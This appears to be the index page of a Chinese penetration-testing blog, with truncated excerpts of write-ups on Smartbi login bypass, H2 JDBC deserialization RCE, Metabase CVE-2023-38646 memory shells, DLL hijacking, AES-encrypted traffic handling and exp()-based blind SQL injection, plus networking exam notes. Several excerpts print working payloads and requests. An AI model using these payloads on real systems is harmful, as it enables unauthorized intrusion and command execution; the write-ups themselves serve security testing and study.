记一次加解密+签名校验+编写FLASK手动注入/联动SQLMAP的渗透测试
发表于|更新于
背景:
同事某系统存在加解密+签名校验,并且发现其中一些接口存在SQL注入,但鉴于存在加解密和签名校验难以测试,于是想到一种将脚本变成FLASK的网页形式进行SQLMAP的联动或进行手动注入,协助其达到无痛测试的效果
数据包存在url参数加密
其中还有签名校验
JS断点出加密为AES,并且得到密钥
进行数组转明文:
得到密钥,此密钥为动态密钥
断点也可以得到明文动态密钥
接下来分析签名校验:
此处是先获取所有请求参数中的值,将其拼接成arr
注意后面有两个时间戳,两者不一致,一个是前(timerandom)一个是后(signTime)
整理得到具体步骤:
加密参数:将每个参数值使用AES-ECB加密(PKCS7填充)并Base64编码
生成签名:a. 按固定顺序拼接加密前的原始参数的值b. 添加一前一后时间戳(timerandom)(signTime)c. 计算整个字符串的MD5d. 构造JSON字符串:{"md5": md5值, "signTime": 时间戳}e. 使用相同的AES密钥加密该JSON字符串得到签名
构 ...
记一次DLL劫持白加黑挖掘过程
发表于|更新于
工具ZeroEye
https://github.com/ImCoriander/ZeroEye
先扫描电脑上的exe:
扫描完后会在当前目录生成:
这里拿某box演示:
此处有一个exe和一个dll,Dll就是可被用来劫持的目标
Infos中有相应dll的函数信息:
如果直接执行会发生什么?
这里会发现exe无法找到对应函数,所以要将上面infos文件夹中对应dll的函数进行转发
编写cpp文件:
#include <Windows.h>#pragma comment(lib, "user32.lib")// 加载原始ffmpeg.dll的句柄HMODULE hOriginalDll = nullptr;// 定义函数指针类型(示例仅展示部分函数,需补充全部)typedef int(*av_buffer_create_t)();av_buffer_create_t pOriginal_av_buffer_create = nullptr;typedef int(*av_dict_count_t)();av_dict_count_t pO ...
记一次Smartbi从登录绕过到三连Shell
发表于|更新于
背景:
某客户系统由Smartbi框架二次开发,存在登录绕过,可获取Web管理员权限,进入后台后可利用各种方法进行命令执行Getshell,最终使用三种不同方法拿下服务器控制权限
登录绕过获取管理员权限:一般Smartbi存在三个默认用户,system,public,service此处尝试得service可成功获取cookie替换至浏览器中:此处成功登录获取管理员权限数据包:
POST /xxx/vision/RMIServlet HTTP/1.1Host: xxx.xxx.xxx:xxxxxAccept: */*Content-Length: 68Content-Type: application/x-www-form-urlencodedclassName=UserService&methodName=loginFromDB¶ms=["service","0a"]
进入后台获取管理员权限后,尝试Getshell:其中定制处,可执行计划任务:这里执行ping命令验证是否执行成功可以看到此处成功执行计划任务代码:
...
记一次Edge调试模拟器APP内webview到越权的渗透测试
发表于|更新于
背景:
在一次渗透测试中,一个APP的传输存在加密,且存在反hook防护,fridahook无法hook住,并存在360加固,无法直接分析,尝试frida-dexdump后依然找不到加解密方法和密钥,此时发现可以用浏览器调试模拟器APP的webview的方法进行调试,定位加密方法断点出密钥,从而实现解密数据,进而顺利挖掘漏洞
渗透某APP发现数据为加密传输:
尝试逆向分析加解密算法,发现存在360加固:
尝试脱壳分析,Frida-dexdump出classes
修复dex
Jadx载入,尝试搜索相关加密方法关键字
但无法找到
此时寻找了其他方法:
参考链接:https://blog.csdn.net/smile_pp123/article/details/142649944
模拟器打开APP后:
在物理机edge浏览器输入:
edge://inspect/#devices
查看此处可调试了,相当于开启了浏览器开发者工具
定位到加密方法和密钥
从而编写python加解密脚本还原加密方法
成功实现加解密
脚本代码
from gmssl ...
记一次JDBC反序列化实战
发表于|更新于
背景:
在一次测试客户系统中发现其存在各种数据库连接可控点,从而尝试不同数据库的JDBC反序列化RCE使用到的工具:Java chains,MySQL_Fake_Server,Ysoserial
先是发现系统中功能点存在添加数据源:
此处可以选不同数据库,此处选择H2
使用Java chains生成H2的payload:
payload:
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORESELECT ON INFORMATION_SCHEMA.TABLES AS \$\$//javascriptjava.lang.Runtime.getRuntime().exec(\'cmd /c calc\');
将calc换成ping命令测试连接:
成功执行命令RCE
数据包:
POST /xxx/xx/xxxx-xxxxxxxx/xxxx HTTP/1.1Host: xxx.xxx.xxx.xxxContent-Length: 439Authorization: xxxx ...
记一次Metabase打入内存马的研究学习
发表于|更新于
参考文章:
Metabase RCE内存马构造及GUI工具(CVE-2023-38646)-先知社区
使用工具:
Boogipop/MetabaseRceTools: CVE-2023-38646 MetabaseRCE
背景:
某客户系统存在Metabase未授权,但存在WAF,无法使用大佬payload或工具一键梭哈,所以搭建一个靶场环境测试,成功后再对客户系统进行WAF绕过,从而利用CVE-2023-38646打入内存马
搭建靶场,参考文献进行复现:
未授权访问:
获取setup-tokne:
"setup-token":"7e184569-462c-4cf7-b9ef-72312465a544"
cmd内存马:
package tools;import java.io.OutputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util. ...
Mitmproxy+Burp实现请求响应的AES加解密+签名校验+联动xray无痛测试方案
发表于|更新于
前言:
本方案适用于请求包与响应包为全加密以及有签名校验的情景,实现Mimtproxy+Burp配合下的无痛对AES加解密的网站进行渗透测试,后续可联动被动扫描xray等工具,遇到其他情况可根据实际情况更改脚本,思路大概一致。
靶场搭建:
https://github.com/0ctDay/encrypt-decrypt-vuls/
先分析JS中的加解密方法:
分析得加解密为AES,得到密钥与IV均为1234567891234567
编写Mimtproxy解密脚本:
from mitmproxy import httpfrom Crypto.Cipher import AESimport base64# 固定参数KEY = b'1234567891234567' # 16 字节密钥IV = b'1234567891234567' # 16 字节初始化向量def decrypt_aes_cbc_pkcs7(encrypted_data): """ 解密 AES-CBC-PKCS7 加密的数 ...
记一次exp()函数的临界SQL注入
发表于|更新于
前言:
指数函数exp是以e为底的指数函数,并且在不同的数据库中的极限值是不同的,超过一定数值就会报错,例如exp(710),exp(291)等,也许会报错或许会返回null,通过exp函数的极限报错特性可以实现盲注。
判断数据库长度:根据数据库特性,exp(709)为极限值,exp(710)为溢出值。
以上exp(709)有正常的返回值,而exp(710)为null,基本可以判断出存在exp()注入。
payload:1'and(exp(xxx-length(database())))--+
xxx遍历709以上的数,最终的正常返回对应的数减去709即为数据库长度
到715时已报错不回显,则714为报错临界,则714-709为5,即数据库长度为5
判断数据库名:
payload:1'and(exp(xxx-ascii(substr(database(),1,1))))--+
xxx遍历709以上的数,最终的正常返回对应的数减去709即为数据库第一位ascii的对应数值
即830为极限正常返回值,830-709为121,所以数据库的第一位对应的ascii为12 ...
HCIP-Datacom-Core Technology H12-821 笔记(持续更新、目前70题)
发表于|更新于
以下关于OSPF协议说法错误的是?A OSPF协议支持区域划分B OSPF支持对等价路由进行负载分担C OSPF报文封装在IP报文内,可以采用单播或组播的形式发送D OSPF是一个基于链路状态的外部网关协议笔记:D是错误的说法,应该是OSPF是一个基于链路状态的内部网关协议。
下面关于AS_PATH的描述,错误的是?A 当路由器中存在两条或者两条以上的到同一目的地的路由时,这些路由可以通过此属性比较相互之间的优劣,AS_PATH越长的路径越优先B AS_PATH是指BGP路由在传的路径中所经历的AS的列表C BGP不会接受AS PATH性中包含本AS Number的路由D AS_PATH是BGP中一个公认必遵属性笔记:选项 A 是错误的,因为在 BGP 中,AS_PATH 越短的路径越优先,而不是越长的路径越优先。因此,选项 A 是错误的描述。其他选项都是正确的描述:B. AS_PATH 属性是 BGP 路由在传递过程中所经历的 AS 序列的列表。这个列表包含了路由传递过程中经过的 AS 序列编号,可以用来检测环路,并帮助路由器做出最佳路由选择。C. BGP 不会接受包含本 AS 号 ...
公告
你又来偷偷看我啦( ´͈ ᵕ `͈ )◞♡
最新文章
标签
网站资讯
文章数目 :
36
已运行时间 :
958 天
本站总字数 :
66.1k
最后更新时间 :
21 天前